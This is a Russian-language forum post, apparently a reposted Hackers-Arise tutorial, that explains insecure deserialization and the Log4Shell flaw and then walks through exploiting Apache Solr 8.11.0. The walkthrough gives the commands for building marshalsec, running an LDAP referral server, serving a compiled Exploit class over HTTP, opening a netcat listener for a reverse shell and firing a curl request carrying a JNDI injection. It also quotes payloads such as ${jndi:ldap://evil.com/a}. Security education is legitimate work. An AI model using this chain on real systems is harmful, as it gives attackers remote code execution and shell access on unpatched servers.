Небезопасная десериализация: миллионы приложений могут быть уязвимы

  • Автор темы Автор темы LeSh1y777
  • Дата начала Дата начала

LeSh1y777

Пользователь
Регистрация
25/9/25
Сообщения
5,682
Репутация
49
Лайки
152
Депозит
-8.95$
Добро пожаловать обратно, восходящие кибервоины!
Небезопасная десериализация представляет собой одну из наиболее критических уязвимостей безопасности современных программных приложений, входящую в список 10 основных рисков безопасности веб-приложений по версии OWASP (входит в раздел «Нарушения целостности программного обеспечения и данных»). Эта уязвимость возникает, когда приложения десериализуют ненадежные данные без надлежащей проверки, что потенциально позволяет злоумышленникам выполнить произвольный код, манипулировать логикой приложения или получить несанкционированный доступ к системе.
Уязвимость Apache Log4j (CVE-2021-44228), обнаруженная в декабре 2021 года, наглядно демонстрирует разрушительные последствия небезопасной десериализации. Эта уязвимость нулевого дня, известная как «Log4Shell», затронула миллионы приложений по всему миру, продемонстрировав, как, казалось бы, безобидная библиотека журналирования может стать площадкой для атак с целью удалённого выполнения кода.
В этой статье я хочу рассмотреть основные концепции сериализации и десериализации, рассмотреть механизмы, лежащие в основе небезопасных атак десериализации, и предоставить анализ того, как эти принципы проявились в уязвимости Log4j.

Исторический контекст и хронология

Концепция сериализации была неотъемлемой частью вычислительной техники с первых дней существования распределённых систем. Однако со временем аспекты безопасности десериализации значительно изменились:
Ранняя эпоха (1990-е–2000-е годы):
  • Сериализация в основном используется для хранения данных и межпроцессного взаимодействия.
  • Вопросы безопасности были минимальными, основное внимание уделялось целостности данных.
  • Ограниченная осведомленность о десериализации как векторе атаки
Фаза признания (2000-е–2010-е годы):
  • Появились первые задокументированные атаки десериализации
  • Исследователи безопасности начали выявлять закономерности в уязвимых реализациях
  • Такие языки, как Java, Python и .NET, оказались уязвимы к уязвимостям десериализации.
Современная эпоха (2010-е годы – настоящее время):
  • Широкое внедрение сериализации в веб-приложениях и микросервисах
  • OWASP признал небезопасную десериализацию главным риском безопасности
  • Громкие уязвимости в популярных фреймворках и библиотеках
Хронология Log4j:
  • 2013 : выпущен Log4j 2.0 с функцией поиска JNDI
  • 2021 : Уязвимость раскрыта в частном порядке Apache Foundation
  • 9 декабря 2021 г .: CVE-2021-44228 публично раскрыта
  • 10 декабря 2021 г .: широко доступны экспериментальные эксплойты
  • Декабрь 2021 г .: выпущено несколько патчей (2.15.0, 2.16.0, 2.17.0)
  • Продолжается : Продолжение обнаружения связанных уязвимостей и методов обхода.

Понимание сериализации и десериализации

Сериализация — это процесс преобразования состояния объекта в формат, пригодный для последующего хранения, передачи или восстановления. Этот процесс позволяет приложениям:
  • Сохранение состояний объектов на диске или в базах данных
  • Передача сложных структур данных по сетям
  • Кэширование состояний приложения для оптимизации производительности
  • Обеспечить межпроцессное взаимодействие в распределенных системах
log4j_serialization.webp
В процессе сериализации переменные экземпляра объекта, информация о классе и метаданные кодируются в поток байтов или текстовый формат. Сериализованные данные содержат инструкции по восстановлению исходного объекта, включая определения классов, значения полей и связи между объектами.
Десериализация обращает процесс сериализации, восстанавливая объекты из их сериализованных представлений. Это включает в себя:
  1. Анализ данных : чтение и интерпретация сериализованного формата
  2. Загрузка классов : создание соответствующих классов объектов
  3. Реконструкция состояния : заполнение полей объекта десериализованными значениями
  4. Выполнение метода : потенциальный запуск методов конструктора или кода инициализации.
Угроза безопасности возникает в ходе этого процесса, когда приложения десериализуют ненадежные данные без надлежащей проверки, что позволяет злоумышленникам манипулировать процессом десериализации.

Распространенные форматы сериализации

Современные приложения используют различные форматы сериализации, каждый из которых имеет свои особенности и последствия для безопасности:
[th]Формат[/th][th]Тип[/th][th]Уровень безопасности[/th][th]Производительность[/th][th]Человекочитаемый[/th][th]Поддержка схем[/th] [td]Java Native[/td][td]Двоичный[/td][td]Низкий[/td][td]Высокий[/td][td]Нет[/td][td]Скрытый[/td] [td]Буферы протоколов[/td][td]Двоичный[/td][td]Высокий[/td][td]Очень высокий[/td][td]Нет[/td][td]Явный[/td] [td]JSON[/td][td]Текст[/td][td]Середина[/td][td]Середина[/td][td]Да[/td][td]Необязательный[/td] [td]XML[/td][td]Текст[/td][td]Середина[/td][td]Низкий[/td][td]Да[/td][td]DTD/XSD[/td] [td]ЯМЛ[/td][td]Текст[/td][td]Низкий[/td][td]Середина[/td][td]Да[/td][td]Необязательный[/td] [td]Апачи Авро[/td][td]Двоичный[/td][td]Высокий[/td][td]Высокий[/td][td]Нет[/td][td]Явный[/td]
Собственная сериализация Java:
  • Использует встроенный механизм сериализации Java
  • Создает двоичный вывод с метаданными класса
  • Высокая уязвимость к атакам десериализации
  • Распространено в корпоративных приложениях Java
Буферы протоколов (protobuf):
  • Независимый от языка формат сериализации Google
  • Эффективное двоичное кодирование с определениями схем
  • В целом безопаснее из-за строгой проверки схемы
  • Требуются явные определения полей
Апач Авро:
  • Система сериализации на основе схем
  • Поддерживает эволюцию схемы и совместимость
  • Двоичный формат с определениями схемы JSON
  • Широко используется в экосистемах больших данных
JSON (нотация объектов JavaScript):
  • Формат текста, понятный человеку
  • Обмен данными, не зависящий от языка
  • Ограниченная поддержка типов объектов
  • В целом безопаснее, но в определенных контекстах все еще уязвимы
XML (расширяемый язык разметки):
  • Структурированный язык разметки
  • Поддерживает сложные иерархические данные
  • Уязвим к атакам XML External Entity (XXE)
  • Требует тщательного анализа для предотвращения проблем безопасности.
YAML (YAML не является языком разметки):
  • Стандарт сериализации данных, понятный человеку
  • Поддерживает сложные структуры данных
  • Может выполнять произвольный код во время десериализации
  • Требует тщательной настройки для обеспечения безопасности
log4j_serialization_formats.webp
Хотя разные языки программирования могут использовать разные ключевые слова и функции для сериализации, базовый принцип остаётся неизменным. Будь то Java, Python, .NET или PHP, каждый язык реализует сериализацию для обеспечения определённых функций или мер безопасности, присущих его среде.
Сериализация в PHP включает преобразование структур данных или объектов в строковый формат для хранения или передачи, а затем их последующее восстановление. PHP использует встроенную serialize() функцию для создания этого строкового представления и unserialize() возврата к нему. Эти функции работают с массивами, объектами и скалярными типами, но не работают с ресурсами и некоторыми внутренними объектами. Сериализированные данные включают метаданные о типах и значениях, сохраняя состояние объектов, включая информацию о классах. PHP позволяет настраивать сериализацию в классах с помощью магических методов, таких как __serialize() и __unserialize(), которые рекомендуются с версии PHP 7.4, заменяя старые методы, такие как __sleep() и __wakeup().

log4j_serialization_php.webp

Сериализация в PHP
Python осуществляет сериализацию в основном с помощью pickle модуля , который может сериализовать практически любой объект Python, включая пользовательские классы, в двоичный формат; обратный процесс выполняется модулем pickle.load(). Для более простой или не зависящей от языка сериализации Python также предлагает json модуль , который преобразует строки JSON в словари и списки Python.
[th]Язык[/th][th]Встроенная сериализация[/th][th]Общая настройка[/th][th]Поддержка JSON[/th] [td]PHP[/td][td]serialize()/unserialize()[/td][td]Магические методы ( __sleep, __wakeup, __serialize, __unserialize)[/td][td]json_encode()/json_decode()[/td] [td]Питон[/td][td]pickle.dump()/pickle.load()[/td][td]Пользовательские методы класса и сторонние библиотеки[/td][td]json.dumps() / json.loads()[/td]

Дело Log4j

На этом этапе мы усвоили некоторые основы сериализации и готовы перейти к уязвимости Log4j.
Log4j — это фреймворк журналирования на основе Java, широко используемый в корпоративных и облачных приложениях. Его основная функция — добавление событий, сообщений и контекста в журналы. С появлением функции поиска JNDI (Java Naming and Directory Interface) в Log4j 2 сообщения журнала могут ссылаться на внешние ресурсы, используя специальные шаблоны, такие как .${jndi:[URL='https://enjoyrc.io/ldap://malicious-server/path'][SIZE=16px][COLOR=rgb(28, 136, 185)]ldap://server/path[/COLOR][/SIZE][/URL]}

Когда Log4j обнаруживает такой поиск в сообщении журнала (например, если злоумышленник отправляет его в HTTP-запросе User-Agent или другом поле, которое регистрируется приложением), фреймворк выполняет поиск JNDI. Если указанный сервер находится под контролем злоумышленника, результатом может быть отправка вредоносного Java-кода, сериализованного в виде удалённых объектов или заглушек, обратно в приложение. Получив эти данные, JVM десериализует их, что потенциально запускает удалённое выполнение кода .
При классической небезопасной десериализации злоумышленник манипулирует сериализованными данными для внедрения вредоносных объектов или полезных данных. В Log4j цепочка эксплойтов работала следующим образом:
  1. Злоумышленник внедряется ${jndi:ldap://evil.com/a} в любой входной поток, зарегистрированный Log4j.
  2. Log4j анализирует событие журнала и инициирует поиск JNDI.
  3. LDAP-сервер злоумышленника отвечает ссылкой на удаленный класс Java (сериализованный код).
  4. Приложение извлекает и загружает этот код, выполняя его, тем самым предоставляя злоумышленнику возможность выполнения произвольного кода.

Разведка

Опасность этой уязвимости обусловлена повсеместной распространённостью этого пакета логирования. Миллионы приложений, а также поставщики программного обеспечения используют Log4j в качестве зависимости в своём коде.
В этом примере я продемонстрирую уязвимость на Apache Solr 8.11.0, который является одним из примеров программного обеспечения, известного наличием этого уязвимого пакета Log4j.
Для начала проведите базовую разведку, чтобы определить, какие порты открыты в системе и что в данном случае работает на порту 8983.

log4j_recon.webp
log4j_apache.webp

Эксплуатация

Мы воспользуемся бесплатным общедоступным инструментом для настройки так называемого «сервера переадресации LDAP». Задача этого сервера — принять первый запрос жертвы и отправить его куда-то ещё.
Вот как это работает шаг за шагом:
  1. Система жертвы пытается подключиться, используя что-то вроде ${jndi:ldap://attackerserver:1389/Resource}этого — она связывается с нашим сервером LDAP Referral Server.
  2. Затем сервер ссылок LDAP пересылает этот запрос в другое место, например http://attackerserver/resource.
  3. Система жертвы переходит ко второму месту и загружает оттуда код.
  4. Этот код запускается на компьютере жертвы.
Первоначальный LDAP-запрос не может напрямую доставить сам вредоносный код — он скорее представляет собой указатель или ссылку, сообщающую системе жертвы, куда двигаться дальше. Сервер ссылок LDAP выступает в роли посредника, направляя жертву на HTTP-сервер, где размещена настоящая полезная нагрузка (вредоносный код). Это позволяет нам доставлять и выполнять более сложный или объёмный код, который невозможно включить в первый LDAP-запрос.
Чтобы сделать все это, нам нужен работающий HTTP-сервер (на порту 8000 или аналогичном) для размещения и обслуживания этого кода.
Шаг 1: Установка Java
Первый шаг — получить сервер ссылок LDAP. Мы будем использовать утилиту marshalsec , доступную по адресу https://github.com/mbechler/marshalsec . Однако для её работы требуется установленная Java, рекомендуется версия 8.

Мы можем загрузить его из архива Oracle: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
log4j_java_page-1.webp
Выполните следующие команды, чтобы настроить систему на использование этой версии Java по умолчанию:
[B]kali> sudo mkdir /usr/lib/jvm[/B]
Код:
[B]kali> cd /usr/lib/jvm[/B]
Код:
[B]kali> sudo tar xzvf ~/Downloads/jdk-8u181-linux-x64.tar.gz[/B]
Код:
[B]kali> sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_181/bin/java" 1[/B]
Код:
[B]kali> sudo update-alternatives --install "/usr/bin/javac" "javac" "/usr/lib/jvm/jdk1.8.0_181/bin/javac" 1[/B]
Код:
[B]kali> sudo update-alternatives --install "/usr/bin/javaws" "javaws" "/usr/lib/jvm/jdk1.8.0_181/bin/javaws" 1[/B]
Код:
[B]kali> sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_181/bin/java[/B]
Код:
[B]kali> sudo update-alternatives --set javac /usr/lib/jvm/jdk1.8.0_181/bin/javac[/B]
Код:
[B]kali> sudo update-alternatives --set javaws /usr/lib/jvm/jdk1.8.0_181/bin/javaws[/B]
Затем проверьте версию:
kali> java -version
log4j_install_java.webp

Шаг 2: Загрузите marshalsec
Самый простой подход — загрузить репозиторий с GitHub:
kali> git clone [URL='https://github.com/mbechler/marshalsec'][SIZE=16px][COLOR=rgb(28, 136, 185)]https://github.com/mbechler/marshalsec[/COLOR][/SIZE][/URL]

[B]kali> cd marshalsec[/B]
Далее нам необходимо собрать marshalsec с помощью Java Builder Maven:
[B]kali> sudo apt install maven[/B]
[B]kali> [/B][B]mvn clean package -DskipTests[/B]
log4j_build_marshalsec-1.webp

После сборки утилиты marshalsec мы можем запустить сервер LDAP-рефералов для перенаправления подключений к нашему вторичному HTTP-серверу (который мы подготовим позже). Синтаксис запуска LDAP-сервера следующий:
kali> java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://IP:Port/#Exploit"

log4j_ldap_server-1.webp
Теперь, когда наш сервер LDAP готов и ждет, мы можем открыть второе окно терминала, чтобы подготовить нашу окончательную полезную нагрузку и настроить вторичный HTTP-сервер.
В конечном итоге уязвимость Log4j выполнит произвольный код, написанный вами на языке программирования Java. В этом примере мы получим обратное соединение (reverse shell) для получения контроля над целевой машиной.
Создайте новый файл с именем Exploit.java :

log4j_exploit.webp
Далее нам необходимо скомпилировать эту полезную нагрузку с помощью:
kali> javac Exploit.java -source 8 -target 8

log4j_compile-1.webp
Мы видим предупреждение (возможно, вы его не заметили). Оно появляется, потому что у меня установлено несколько версий Java. Тем не менее, файл Exploit.class был успешно создан.
Теперь, когда полезная нагрузка создана и скомпилирована, мы можем запустить временный HTTP-сервер.
kali> python3 -m http.server

log4j_python_server-1.webp
Далее мы готовы подготовить прослушиватель Netcat:
kali> nc -lnvp port

log4j_netcat_listener-1.webp
Наконец, все, что осталось сделать, — это активировать эксплойт и запустить наш синтаксис JNDI:
kali> curl 'http://IP:8983/solr/admin/cores?foo=$\{jndi:ldap://IP:1389/Exploit\}'

log4j_process.webp
И мы добились RCE!

Краткое содержание

Небезопасная десериализация — серьёзная и распространённая проблема современного программного обеспечения. Уязвимость Log4j «Log4Shell» показывает, как невнимательная проверка данных во время десериализации может привести к опасным атакам удалённого выполнения кода, затрагивающим многие системы по всему миру. Этот случай преподаёт нам важный урок: любая часть программного обеспечения, которая считывает, создаёт или запускает код из внешних входных данных, всегда должна быть тщательно проверена и защищена.
Для тех, кто хочет улучшить свои навыки кибербезопасности, особенно в понимании и защите от сложных уязвимостей, таких как небезопасная десериализация, Hackers-Arise предлагает программы обучения под руководством экспертов. Попробуйте!
 
Назад
Сверху Снизу